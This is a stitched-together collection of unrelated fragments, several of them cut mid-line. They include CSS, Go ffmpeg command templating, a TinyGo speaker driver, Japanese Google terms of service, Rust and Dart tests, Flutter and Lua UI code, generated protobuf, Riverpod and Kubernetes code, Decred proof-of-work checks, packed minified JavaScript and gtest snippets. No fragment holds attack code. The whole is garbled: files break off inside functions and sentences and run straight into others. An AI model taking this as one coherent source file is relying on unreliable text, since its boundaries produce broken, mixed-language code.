  right: 8px;
  z-index: 1044;
}

.tailor-ui .mfp-preloader a {
  color: #CCC;
}

.tailor-ui .mfp-preloader a:hover {
  color: #FFF;
}

.tailor-ui .mfp-s-ready .mfp-preloader {
  display: none;


600) / 60
			sec := (s.c.Transcode.Poster.Skip - hou*3600 - min*60)
			d.Poster_skip = fmt.Sprintf("-ss %02d:%02d:%02d.0", hou, min, sec)
		}

		// step interval
		if s.c.Transcode.Poster.Step > 0 {
			d.Poster_rate = s.c.Transcode.Poster.Step
		}

		// increase the count of poster frames to output since ffmpeg flushes
		// the image2 pipeline at the end only, hence a single image would not be
		// written before the stream ends
		//
		// on the downside, this solution writes one image more than expected by the user
		//
		d.Poster_corrected_count = s.c.Transcode.Poster.Count + 1
	}

	// Thumbnail
	if s.c.Transcode.Thumb.Enabled {
		// scaling parameter
		if s.c.Transcode.Thumb.Size != "" {
			d.Thumb_size = "-s " + s.c.Transcode.Thumb.Size
		}

		// step interval
		if s.c.Transcode.Thumb.Step > 0 {
			d.Thumb_rate = s.c.Transcode.Thumb.Step
		}
	}

	// replace placeholders with config strings
	t, err := template.New("cmd").Parse(cmd)
	if err != nil {
		log.Fatalf("Error parsing cmd template: %s\n", err)
	}

	err = t.Execute(&cmd_writer, d)
	if err != nil {
		log.Fatalf("Error generating cmd string: %s\n", err)
	}

	return cmd_writer.String()
}
//go:build rp2040

package cardputer

import (
	pio "github.com/tinygo-org/pio/rp2-pio"
	"github.com/tinygo-org/pio/rp2-pio/piolib"
)

/*
	The cardputer uses an an I2S speaker module, the NS4186.
	It supports 8kHz~96kHz sample rate.
*/

var Speaker = &speaker{}

type speaker struct {
	*piolib.I2S
}

func (spk *speaker) Init() error {
	// piolib only supports speakers right now, so only config that
	var err error
	sm, _ := pio.PIO0.ClaimStateMachine()

	spk.I2S, err = piolib.NewI2S(sm, SpeakerData, I2SClock)
	return err
}

// Beep emits a short, neutrally toned beep. 1/4 second, 440Hz.
func (spk *speaker) Beep() {
	// 8000 Hz sample rate means each sample is 125 us.
	// if we want 1/4 of second, we need 2000 samples
	// check if looping like this causes stuttering; might have to buffer
	// the sample
	for i := 0; i < 2000/len(Sin440FullWave); i++ {
		spk.I2S.WriteMono(Sin440FullWave)
	}
}

// Beep emits a two-toned positive beep
func (spk *speaker) AckBeep() {
}

// Beep emits a two-toned negative beep
func (spk *speaker) NakBeep() {
}

// Sin440FullWave is one full cycle of a 440Hz sine wave, equivalent to 2.25 ms (18 samples * 125us)
var Sin440FullWave = []uint16{0x8000, 0xab5b, 0xd196, 0xee2c, 0xfdbb, 0xfe6c, 0xf02a, 0xd4a5, 0xaf1e, 0x8405, 0x5872, 0x318c, 0x13ed, 0x315, 0x102, 0xdf


ユーザーは、本規約の第 13.1 項の規定全般を条件として、Google、その子会社および関連会社、ならびにそのライセンサーが、ユーザーに対し以下の各号について責任を負わないことについて、明示的に理解し、これに同意するものとします。

（A）何らかの原因や保証責任の理論においてユーザーが被る直接的、間接的、偶発的、特殊結果的、または懲罰的な損害。これらの損害には、利益の損失（直接的、間接的を問わず）、ビジネスにおける信用またはビジネス上の評判に対する損失、データ消失の被害、代替商品またはサービスの調達価格、またはその他無形の損失等を含むものとします。

（B）以下の各項目に起因する損失または損害等を含む、ユーザーが被る損失または損害。

（I）ユーザーが、いずれかの広告の完全性、正確性または存在を信頼したことに起因し、または、ユーザーと、本サービス上に掲載される広告の広告主またはスポンサーとの間の関係または取引に起因する損失または損害。

（II）Google が本サービスに施す変更に起因し、または、本サービス（または本サービスの範囲内のいずれかの機能）の提供を永続的または一時的に停止したことに起因する損失または損害。

（III）ユーザーが本サービスを利用したことによりまたは利用したことを通じ、保存、送信された本コンテンツおよびその他通信データの削除、破損、または保存の不備に起因する損失または損害。

（IV）ユーザーが、Google に対し、正確なアカウント情報を提出しなかったことに起因する損失または損害。

（V）ユーザーが、ご自身のパスワードまたはアカウントの明細の保護および機密保持を怠ったことに起因する損失または損害。

14.2 上記の第 14.1 項でのユーザーに対する Google の責任の制限は、この種の損害が発生する可能性を Google が通知され、認識していたかどうかにかかわらず、適用されるものとします。

15. 著作権および商標に関する方針

15.1 Google では、著作権の侵害に関する申し立てに対し、米国デジタルミレニアム著作権法などの適用される国際的知的財産法に基づいて適切な対応をとり、侵害を繰り返すアカウントを削除することをポリシーとしています。Google の方針の詳細は http://


(E(e))))"
        );
    }

    #[test]
    fn implications3() {
        let p = parse("(a && b ==> c) && d && e").unwrap();
        assert_eq!(
            p,
            "A(C(A(I(A(C(A(E(a)) && A(E(b)))) ==> A(E(c)))) && A(E(d)) && A(E(e))))"
        );
    }

    #[test]
    fn implications4() {
        let p = parse("a && (b ==> c && d) && e").unwrap();
        assert_eq!(
            p,
            "A(C(A(E(a)) && A(I(A(E(b)) ==> A(C(A(E(c)) && A(E(d)))))) && A(E(e))))"
        );
    }

    #[test]
    fn implications_err1() {
        let p = parse("a && b (==> c && d) && e");
        assert!(p.is_err());
    }

    #[test]
    fn implications_err2() {
        let p = parse("a && (b ==>) c && d && e");
        assert!(p.is_err());
    }

    #[test]
    fn implications_err3() {
        let p = parse("a ==> ");
        assert!(p.is_err());
    }

    #[test]
    fn implications_err4() {
        let p = parse("==> b");
        assert!(p.is_err());
    }
}
extern crate rand;
use std::net::ToSocketAddrs;
use std::thread;
use std::time::Duration;

mod complex;
mod coordinate;
mod fractal;
mod frame_painter;
mod frame_serializer;
mod images;
mod pixel;
mod pixel_backend;
mod settings;

use crate::frame_painter::io_uring::IoUringFramePainter;
use crate::frame_painter::FramePainter;
use crate::settings::{Settings, Style};
use anyhow::Context;
use coordinate::Coordinate;
use coordinate::Dimension;
use pixel::Pixel;

fn main() -> anyhow::Result<()> {
	let settings = Settings::new()
		.map_err(|error| eprintln!("Failed to read config with error: {}", error))
		.unwrap();

	let image = match settings.style {
		Style::Julia | Style::Mandelbrot => {
			/*
			let mut field = Field::new(settings.dimension);

			for (x, y) in field.coordinates_iterator() {
				let fractal_width = 4.0;
				let fractal_height =
					(settings.dimension.height as f64 / settings.dimension.width as f64) * fractal_width;
				let fractal_x_offset = 0.0;
				let fractal_y_offset = 0.0;
				let c = Complex {
					real: (x as f64 / settings.dimension.width as f64) * fractal_width - fractal_width / 2.0
						+ fractal_x_offset,
					imag: (y as f64 / settings.dimension.height as f64) * fractal_height - fractal_height / 2.0
						+ fractal_y_offset,
				};

				let iteration_factor = match settings.style {
					Style::Julia => julia(c, settings.fractal.initial_value, settings.fractal.iterations),
					Style::Mandelbrot => mandelbrot(c, settings.fractal.iterations),
					_ => panic!("Not a fractal!"),
				};
				let color = if iteration_factor < settings.fractal.active_threshold {
					Color::null()
				} else {
					Color::gradient24(iteration_factor)
				};

				field[x][y] = Pixel {
					coordinate: Coordinate {
						x: x + settings.offset.x,
						y: y + settings.offset.y,
					},
					color,
				};
			}
			field

			 */
			todo!()
		}
		Style::Image => image::open(settings.image.path).context("Failed to load


test("-start -stop", () {
        expect(string.slice(-5, -3), "wo");
      });
      test("-start -stop < -length", () {
        expect(string.slice(-5, -999), "");
      });
      test("-start < -stop", () {
        expect(string.slice(-3, -5), "");
      });
      test("+start -stop", () {
        expect(string.slice(3, -5), "lo ");
      });
      test("-start +stop", () {
        expect(string.slice(-5, 9), "wor");
      });
    });
  });
}
import 'dart:math' as math;

extension StringExtension on String {
  /// Returns the string without any leading characters included in [characters]
  String trimLeftAny(String characters) {
    int i = 0;
    while (i < length && characters.contains(this[i])) {
      i += 1;
    }
    return substring(i);
  }

  /// Returns the string without any trailing characters included in
  /// [characters]
  String trimRightAny(String characters) {
    int i = 0;
    while (i < length && characters.contains(this[length - 1 - i])) {
      i += 1;
    }
    return substring(0, length - i);
  }

  /// Returns the string without any leading and trailing characters included in
  /// [characters]
  String trimAny(String characters) {
    return trimLeftAny(characters).trimRightAny(characters);
  }

  bool equalsIgnoreCase(String other) => toLowerCase() == other.toLowerCase();

  String slice(int start, [int? stop]) {
    if (start < 0) {
      start = math.max(length + start, 0);
    }
    if (stop != null && stop < 0) {
      stop = math.max(length + stop, 0);
    }
    if (start >= length) {
      return "";
    } else if (stop == null) {
      return substring(start);
    } else if (start >= stop) {
      return "";
    } else {
      return substring(start, math.min(stop, length));
    }
  }
}
import 'package:flutter/material.dart';
import 'package:sentry_flutter/sentry_flutter.dart';
import 'package:stable_horde_flutter/blocs/conversions_bloc.dart';
import 'package:stable_horde_flutter/blocs/shared_prefs_bloc.dart';
import 'package:stable_horde_flutter/blocs/stable_horde_user_bloc.dart';
import 'package:stable_horde_flutter/utils/legal_links.dart';

class LoginDialog extends StatefulWidget {
  final String? title;
  const LoginDialog({Key? key, this.title}) : super(key: key);

  @override
  State<LoginDialog> createState() => _LoginDialogState();
}

class _LoginDialogState extends State<LoginDialog> {
  final _apiKeyController = TextEditingController();
  bool _validating = false;

  @override
  void dispose() {
    _apiKeyController.dispose();
    super.dispose();
  }

  @override
  Widget build(BuildContext context) {
    return AlertDialog(
      title: widget.title != null ? Text(widget.title ?? "Login") : null,
      content: Column(
        mainAxisSize: MainAxisSize.min,
        children: [
          GestureDetector(
            onTap: () {
              launchUrlInExternalApp('https://stablehorde.net/register');
            },
            child: RichText(
              textScaleFactor: MediaQuery.of(context).textScaleFactor,
              text: TextSpan(
                text:
                    'Enter your Stable Horde API key to login


ecode as a `google.protobuf.DescriptorProto`.
final $typed_data.Uint8List qoeOptionDescriptor = $convert.base64Decode(
    'CglRb2VPcHRpb24SFAoFdGl0bGUYASABKAlSBXRpdGxlEhQKBXNjb3JlGAIgASgCUgVzY29yZR'
    'IXCgdpbWdfdXJsGAMgASgJUgZpbWdVcmwSEgoEZGVzYxgEIAMoCVIEZGVzYw==');

@$core.Deprecated('Use qoeOptionDescDescriptor instead')
const QoeOptionDesc$json = {
  '1': 'QoeOptionDesc',
  '2': [
    {'1': 'desc', '3': 1, '4': 3, '5': 9, '10': 'desc'},
  ],
};

/// Descriptor for `QoeOptionDesc`. Decode as a `google.protobuf.DescriptorProto`.
final $typed_data.Uint8List qoeOptionDescDescriptor =
    $convert.base64Decode('Cg1Rb2VPcHRpb25EZXNjEhIKBGRlc2MYASADKAlSBGRlc2M=');

@$core.Deprecated('Use qoeScoreItemDescriptor instead')
const QoeScoreItem$json = {
  '1': 'QoeScoreItem',
  '2': [
    {'1': 'title', '3': 1, '4': 1, '5': 9, '10': 'title'},
    {'1': 'url', '3': 2, '4': 1, '5': 9, '10': 'url'},
    {'1': 'score', '3': 3, '4': 1, '5': 2, '10': 'score'},
  ],
};

/// Descriptor for `QoeScoreItem`. Decode as a `google.protobuf.DescriptorProto`.
final $typed_data.Uint8List qoeScoreItemDescriptor = $convert.base64Decode(
    'CgxRb2VTY29yZUl0ZW0SFAoFdGl0bGUYASABKAlSBXRpdGxlEhAKA3VybBgCIAEoCVIDdXJsEh'
    'QKBXNjb3JlGAMgASgCUgVzY29yZQ==');

@$core.Deprecated('Use questionCardDescriptor instead')
const QuestionCard$json = {
  '1': 'QuestionCard',
  '2': [
    {
      '1': 'question',
      '3': 1,
      '4': 1,
      '5': 11,
      '6': '.bilibili.main.community.reply.v1.QuestionCard.Question',
      '10': 'question'
    },
    {
      '1': 'stat',
      '3': 2,
      '4': 1,
      '5': 11,
      '6': '.bilibili.main.community.reply.v1.QuestionCardStat',
      '10': 'stat'
    },
    {'1': 'bottom_text', '3': 3, '4': 1, '5': 9, '10': 'bottomText'},
  ],
  '3': [QuestionCard_Option$json, QuestionCard_Question$json],
};

@$core.Deprecated('Use questionCardDescriptor instead')
const QuestionCard_Option$json = {
  '1': 'Option',
  '2': [
    {'1': 'key', '3': 1, '4': 1, '5': 9, '10': 'key'},
    {'1': 'title', '3': 2, '4': 1, '5': 9, '10': 'title'},
  ],
};

@$core.Deprecated('Use questionCardDescriptor instead')
const QuestionCard_Question$


local M = {}

function M.setup()
  vim.api.nvim_create_user_command("StreamlineReplace", function()
    require("snacks").input.input({
      prompt = "Replace: ",
      win = {
        keys = {
          i_esc = { "<esc>", { "cmp_close", "cancel" }, mode = "i", expr = true },
        },
        wo = {
          winhighlight = "SnacksInputNormal:SnacksPickerInput,SnacksInputTitle:SnacksPickerTitle",
        },
      },
    }, function(result)
      -- if result is nil or empty, do nothing
      if not result or result == "" then
        return
      end
      M.replace(result)
    end)
  end, {})
end

function M.replace(new_word)
  -- Store the current cursor position
  local cursor_pos = vim.api.nvim_win_get_cursor(0)

  -- Get the current wo


ations/*}/analyticsAccountLi"
          + "nks\022\236\002\n\032CreateAnalyticsAccountLink\022I.goo"
          + "gle.marketingplatform.admin.v1alpha.Crea"
          + "teAnalyticsAccountLinkRequest\032<.google.m"
          + "arketingplatform.admin.v1alpha.Analytics"
          + "AccountLink\"w\332A\035parent,analytics_account"
          + "_link\202\323\344\223\002Q\"7/v1alpha/{parent=organizati"
          + "ons/*}/analyticsAccountLinks:\026analytics_"
          + "account_link\022\307\001\n\032DeleteAnalyticsAccountL"
          + "ink\022I.google.marketingplatform.admin.v1a"
          + "lpha.DeleteAnalyticsAccountLinkRequest\032\026"
          + ".google.protobuf.Empty\"F\332A\004name\202\323\344\223\0029*7/"
          + "v1alpha/{name=organizations/*/analyticsA"
          + "ccountLinks/*}\022\262\002\n\027SetPropertyServiceLev"
          + "el\022F.google.marketingplatform.admin.v1al"
          + "pha.SetPropertyServiceLevelRequest\032G.goo"
          + "gle.marketingplatform.admin.v1alpha.SetP"
          + "ropertyServiceLevelResponse\"\205\001\332A\026analyti"
          + "cs_account_link\202\323\344\223\002f\"a/v1alpha/{analyti"
          + "cs_account_link=organizations/*/analytic"
          + "sAccountLinks/*}:setPropertyServiceLevel"
          + ":\001*\032\271\001\312A%marketingplatformadmin.googleap"
          + "is.com\322A\215\001https://www.googleapis.com/aut"
          + "h/marketingplatformadmin.analytics.read,"
          + "https://www.googleapis.com/auth/marketin"
          + "gplatformadmin.analytics.updateB\351\002\n.com."
          + "google.ads.marketingplatform.admin.v1alp"
          + "haB\033MarketingplatformAdminProtoP\001ZKgoogl"
          + "e.golang.org/genproto/googleapis/marketi"
          + "ngplatform/admin/v1alpha;admin\252\002*Google."
          + "Ads.MarketingPlatform.Admin.V1Alpha\312\002*Go"
          + "ogle\\Ads\\MarketingPlatform\\Admin\\V1alpha"
          + "\352\002.Google::Ads::MarketingPlatform::Admin"
          + "::V1alpha\352A?\n&analyticsadmin.googleapis."
          + "com/Property\022\025properties/{property}b\006pro"
          + "to3"
    };
    descriptor =
        com.google.protobuf.Descriptors.FileDescriptor.internalBuildGeneratedFileFrom(
            descriptorData,
            new com.google.protobuf.Descriptors.FileDescriptor[] {
              com.google.api.AnnotationsProto.getDescriptor(),
              com.google.api.ClientProto.getDescriptor(),
              com.google.api.FieldBehaviorProto.getDescriptor(),
              com.google.api.ResourceProto.getDescriptor(),
              com.google.ads.marketingplatform.admin.v1alpha.ResourcesProto.getDescriptor(),
              com.google.protobuf.EmptyProto.getDescriptor(),
            });
    internal_static_google_marketingplatform_admin_v1alpha_GetOrganizationRequest_descriptor =
        getDescriptor().getMessageTypes().get(0);
    internal_static_google_marketingplatform


*********************************************************************
// RiverpodGenerator
// **************************************************************************

// GENERATED CODE - DO NOT MODIFY BY HAND
// ignore_for_file: type=lint, type=warning

@ProviderFor(example)
const exampleProvider = ExampleProvider._();

final class ExampleProvider extends $FunctionalProvider<String, String, String>
    with $Provider<String> {
  const ExampleProvider._()
    : super(
        from: null,
        argument: null,
        retry: null,
        name: r'exampleProvider',
        isAutoDispose: true,
        dependencies: null,
        $allTransitiveDependencies: null,
      );

  @override
  String debugGetCreateSourceHash() => _$exampleHash();

  @$internal
  @override
  $ProviderElement<String> $createElement($ProviderPointer pointer) =>
      $ProviderElement(pointer);

  @override
  String create(Ref ref) {
    return example(ref);
  }

  /// {@macro riverpod.override_with_value}
  Override overrideWithValue(String value) {
    return $ProviderOverride(
      origin: this,
      providerOverride: $SyncValueProvider<String>(value),
    );
  }
}

String _$exampleHash() => r'e75fe2037fef7a3f80e04fa007fe64d719dba2fd';
// GENERATED CODE - DO NOT MODIFY BY HAND

// ignore_for_file: non_constant_identifier_names, require_trailing_commas

part of 'pub_repository.dart';

// **************************************************************************
// JsonSerializableGenerator
// **************************************************************************

_PackageMetricsScore _$PackageMetricsScoreFromJson(Map<String, dynamic> json) =>
    _PackageMetricsScore(
      grantedPoints: (json['grantedPoints'] as num).toInt(),
      maxPoints: (json['maxPoints'] as num).toInt(),
      likeCount: (json['likeCount'] as num).toInt(),
      popularityScore: (json['popularityScore'] as num).toDouble(),
      tags: (json['tags'] as List<dynamic>).map((e) => e as String).toList(),
    );

Map<String, dynamic> _$PackageMetricsScoreToJson(
  _PackageMetricsScore instance,
) => <String, dynamic>{
  'grantedPoints': instance.grantedPoints,
  'maxPoints': instance.maxPoints,
  'likeCount': instance.likeCount,
  'popularityScore': instance.popularityScore,
  'tags': instance.tags,
};

_PackageMetricsResponse _$PackageMetricsResponseFromJson(
  Map<String, dynamic> json,
) => _PackageMetricsResponse(
  score: PackageMetricsScore.fromJson(json['score'] as Map<String, dynamic>),
);

Map<String, dynamic> _$PackageMetricsResponseToJson(
  _PackageMetricsResponse instance,
) => <String, dynamic>{'score': instance.score};

_PackageDetails _$PackageDetailsFromJson(Map<String, dynamic> json) =>
    _PackageDetails(
      version: json['version'] as String,
      pubspec: Pubspec.fromJson(json['pubspec'] as Map<String, dynamic>),
    );

Map<String, dynamic> _$PackageDetailsToJson(_PackageDetails instance) =>
    <String, dynamic>{'version': instance.version, 'pubspec': instance.pubspec};

_Package _$PackageFromJson(Map<String, dynamic> json) => _Package(
  name: json['name'] as String,
  latest: PackageDetails.fromJson(json['latest'] as Map<String, dynamic>),
);

Map<String, dynamic> _$PackageToJson(_Package instance) => <String, dynamic>{
  'name': instance.name,
  'latest': instance.latest,
};

_LikedPackage _$LikedPackageFromJson(Map<String, dynamic> json) =>
    _LikedPackage(
      package: json['package'] as String,
      liked: json['liked']


	// piecewise function is:
	//
	// {work = 1                   , where diff = 2^256-1
	// {work = (^diff / (diff+1))+1, where 0 < diff < 2^256-1
	//
	// However, a difficulty target of 2^256 - 1 is impossible to encode in the
	// difficulty bits, so it is safe to ignore that case.
	divisor := new(uint256.Uint256).SetUint64(1).Add(&diff)
	return *diff.Not().Div(divisor).AddUint64(1)
}

// HashToUint256 converts the provided hash to an unsigned 256-bit integer that
// can be used to perform math comparisons.
func HashToUint256(hash *chainhash.Hash) uint256.Uint256 {
	// Hashes are a stream of bytes that do not have any inherent endianness to
	// them, so they are interpreted as little endian for the purposes of
	// treating them as a uint256.
	return *new(uint256.Uint256).SetBytesLE((*[32]byte)(hash))
}

// checkProofOfWorkRange ensures the provided target difficulty is in min/max
// range per the provided proof-of-work limit.
func checkProofOfWorkRange(diffBits uint32, powLimit *uint256.Uint256) (uint256.Uint256, error) {
	// The target difficulty must be larger than zero and not overflow and less
	// than the maximum value that can be represented by a uint256.
	target, isNegative, overflows := DiffBitsToUint256(diffBits)
	if isNegative {
		str := fmt.Sprintf("target difficulty bits %08x is a negative value",
			diffBits)
		return uint256.Uint256{}, ruleError(ErrUnexpectedDifficulty, str)
	}
	if overflows {
		str := fmt.Sprintf("target difficulty bits %08x is higher than the "+
			"max limit %064x", diffBits, powLimit)
		return uint256.Uint256{}, ruleError(ErrUnexpectedDifficulty, str)
	}
	if target.IsZero() {
		str := "target difficulty is zero"
		return uint256.Uint256{}, ruleError(ErrUnexpectedDifficulty, str)
	}

	// The target difficulty must not exceed the maximum allowed.
	if target.Gt(powLimit) {
		str := fmt.Sprintf("target difficulty %064x is higher than max %064x",
			target, powLimit)
		return uint256.Uint256{}, ruleError(ErrUnexpectedDifficulty, str)
	}

	return target, nil
}

// CheckProofOfWorkRange ensures the provided target difficulty represented by
// the given header bits is in min/max range per the provided proof-of-work
// limit.
func CheckProofOfWorkRange(diffBits uint32, powLimit *uint256.Uint256) error {
	_, err := checkProofOfWorkRange(diffBits, powLimit)
	return err
}

// CheckProofOfWork ensures the provided hash is less than the target difficulty
// represented by given header bits and that said difficulty is in min/max range
// per the provided proof-of-work limit.
func CheckProofOfWork(powHash *chainhash.Hash, diffBits uint32, powLimit *uint256.Uint256) error {
	target, err := checkProofOfWorkRange(diffBits, powLimit)
	if err != nil {
		return err
	}

	// The block hash must be less than the target difficulty.
	hashNum := HashToUint256(powHash)
	if hashNum.Gt(&target) {
		str := fmt.Sprintf("proof of work hash %064x is higher than expected "+
			"max of %064x", hashNum, target)
		return ruleError(ErrHighHash, str)
	}

	return nil
}
// Copyright (c) 2018-2020 The Decred developers
// Use of this source code is governed by an ISC
// license that can be found in the LICENSE file.

// Tool dumpfeedb can be


,d[i].4L(a))}6(m[1]==".")r=C.4r(r,m[2]);6(m[1]=="#"){E e=[];I(E i=0;r[i];i++)6(r[i].3F("2j")==m[2]){e=[r[i]];1J}r=e}d=r}t=t.1v(h,"")}}6(t){E b=C.1l(t,r);d=r=b.r;t=C.2s(b.t)}}6(t)d=[];6(d&&l==d[0])d.4s();2q=C.29(2q,d);F 2q},4r:9(r,m,a){m=" "+m+" ";E c=[];I(E i=0;r[i];i++){E b=(" "+r[i].18+" ").U(m)>=0;6(!a&&b||a&&!b)c.Y(r[i])}F c},1l:9(t,r,h){E d;20(t&&t!=d){d=t;E p=C.5x,m;I(E i=0;p[i];i++){m=p[i].2d(t);6(m){t=t.7N(m[0].H);m[2]=m[2].1v(/\\\\/g,"");1J}}6(!m)1J;6(m[1]==":"&&m[2]=="5l")r=C.1l(m[3],r,O).r;G 6(m[1]==".")r=C.4r(r,m[2],h);G 6(m[1]=="@"){E g=[],L=m[3];I(E i=0,2o=r.H;i<2o;i++){E a=r[i],z=a[C.4q[m[2]]||m[2]];6(z==K||/5R|32|28/.1d(m[2]))z=C.1j(a,m[2])||\'\';6((L==""&&!!z||L=="="&&z==m[5]||L=="!="&&z!=m[5]||L=="^="&&z&&!z.U(m[5])||L=="$="&&z.2K(z.H-m[5].H)==m[5]||(L=="*="||L=="~=")&&z.U(m[5])>=0)^h)g.Y(a)}r=g}G 6(m[1]==":"&&m[2]=="25-3z"){E e=C.1q++,g=[],1d=/(\\d*)n\\+?(\\d*)/.2d(m[3]=="5E"&&"2n"||m[3]=="5D"&&"2n+1"||!/\\D/.1d(m[3])&&"n+"+m[3]||m[3]),2H=(1d[1]||1)-0,d=1d[2]-0;I(E i=0,2o=r.H;i<2o;i++){E j=r[i],P=j.P;6(e!=P.1q){E c=1;I(E n=P.1k;n;n=n.2a)6(n.1t==1)n.4o=c++;P.1q=e}E b=M;6(2H==1){6(d==0||j.4o==d)b=O}G 6((j.4o+d)%2H==0)b=O;6(b^h)g.Y(j)}r=g}G{E f=C.4w[m[1]];6(1f f!="1E")f=C.4w[m[1]][m[2]];f=2T("M||9(a,i){F "+f+"}");r=C.2B(r


 nil {
		return nil
	}
	out := new(EndpointSliceList)
	in.DeepCopyInto(out)
	return out
}

// DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object.
func (in *EndpointSliceList) DeepCopyObject() runtime.Object {
	if c := in.DeepCopy(); c != nil {
		return c
	}
	return nil
}

// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
func (in *ForNode) DeepCopyInto(out *ForNode) {
	*out = *in
	return
}

// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new ForNode.
func (in *ForNode) DeepCopy() *ForNode {
	if in == nil {
		return nil
	}
	out := new(ForNode)
	in.DeepCopyInto(out)
	return out
}

// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
func (in *ForZone) DeepCopyInto(out *ForZone) {
	*out = *in
	return
}

// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new ForZone.
func (in *ForZone) DeepCopy() *ForZone {
	if in == nil {
		return nil
	}
	out := new(ForZone)
	in.DeepCopyInto(out)
	return out
}
/*
Copyright The Kubernetes Authors.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

// Code generated by protoc-gen-gogo. DO NOT EDIT.
// source: k8s.io/api/discovery/v1/generated.proto

package v1

import (
	fmt "fmt"

	io "io"
	"sort"

	k8s_io_api_core_v1 "k8s.io/api/core/v1"
	v1 "k8s.io/api/core/v1"

	math_bits "math/bits"
	reflect "reflect"
	strings "strings"
)

func (m *Endpoint) Reset() { *m = Endpoint{} }

func (m *EndpointConditions) Reset() { *m = EndpointConditions{} }

func (m *EndpointHints) Reset() { *m = EndpointHints{} }

func (m *EndpointPort) Reset() { *m = EndpointPort{} }

func (m *EndpointSlice) Reset() { *m = EndpointSlice{} }

func (m *EndpointSliceList) Reset() { *m = EndpointSliceList{} }

func (m *ForNode) Reset() { *m = ForNode{} }

func (m *ForZone) Reset() { *m = ForZone{} }

func (m *Endpoint) Marshal() (dAtA []byte, err error) {
	size := m.Size()
	dAtA = make([]byte, size)
	n, err := m.MarshalToSizedBuffer(dAtA[:size])
	if err != nil {
		return nil, err
	}
	return dAtA[:n], nil
}

func (m *Endpoint) MarshalTo(dAtA []byte) (int, error) {
	size := m.Size()
	return m.MarshalToSizedBuffer(dAtA[:size])
}

func (m *Endpoint) MarshalToSizedBuffer(dAtA []byte) (int, error) {
	i := len(dAtA)
	_ = i
	var l int
	_ =


tk seq) | awk 'BEGIN{split("2,80,81,95",poslist,",");for(n=0;n<256;n++){ord[sprintf("%c",n)]=n}}(1==NR%4){flag=$2}(0==NR%4){seg=int(flag%256/128);for(p=1;p<=length(poslist);++p){pos=poslist[p]; if(pos<length($0)){print seg, pos, ord[substr($0,pos+1,1)]-33}}}' | sort -k1,1 -k2,2n | awk 'BEGIN{pos=-1}{if($2 == pos){sum+=$3;++count}else{if(-1!=pos){print seg, pos, int(sum/count+0.5)}; seg=$1; pos=$2; sum=$3; count=1}}END{print seg, pos, int(sum/count+0.5)}'
		EXPECT_EQ(27, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(1)[2])) ) << "for " << context;
	}
	EXPECT_EQ(36, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(0)[2])) ) << "for " << context;
	EXPECT_EQ(20, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(0)[80])) ) << "for " << context;
	EXPECT_EQ(33, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(0)[81])) ) << "for " << context;
	EXPECT_EQ(33, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(0)[95])) ) << "for " << context;
	EXPECT_EQ(36, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(1)[80])) ) << "for " << context;
	EXPECT_EQ(34, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(1)[81])) ) << "for " << context;
	EXPECT_EQ(29, static_cast<uint64_t>(round(test.base_quality_mean_reference_.at(1)[95])) ) << "for " << context;
}
// Copyright 2005, Google Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//     * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

//
// Tests for the Message class.

#include "gtest/gtest-message.h"

#include "gtest/gtest.h"

namespace {

using ::testing::Message;

// Tests the testing::Message class

// Tests the d


 "http://barnew/x/y/z/boofar/", "/x/y/z/boofar/"},
		{"x/y/z/boofar.md", "http://barnew/", "boofar", "", false, false, "http://barnew/x/y/z/boofar/", "/x/y/z/boofar/"},
		{"x/y/z/boofar.md", "", "", "", true, false, "/x/y/z/boofar.html", "/x/y/z/boofar.html"},
		{"x/y/z/boofar.md", "", "", "", true, false, "/x/y/z/boofar.html", "/x/y/z/boofar.html"},
		{"x/y/z/boofar.md", "", "boofar", "", true, false, "/x/y/z/boofar.html", "/x/y/z/boofar.html"},
		{"x/y/z/boofar.md", "http://barnew/", "", "", true, false, "http://barnew/x/y/z/boofar.html", "/x/y/z/boofar.html"},
		{"x/y/z/boofar.md", "http://barnew/", "boofar", "", true, false, "http://barnew/x/y/z/boofar.html", "/x/y/z/boofar.html"},
		{"x/y/z/boofar.md", "http://barnew/boo/", "booslug", "", true, false, "http://barnew/boo/x/y/z/booslug.html", "/boo/x/y/z/booslug.html"},
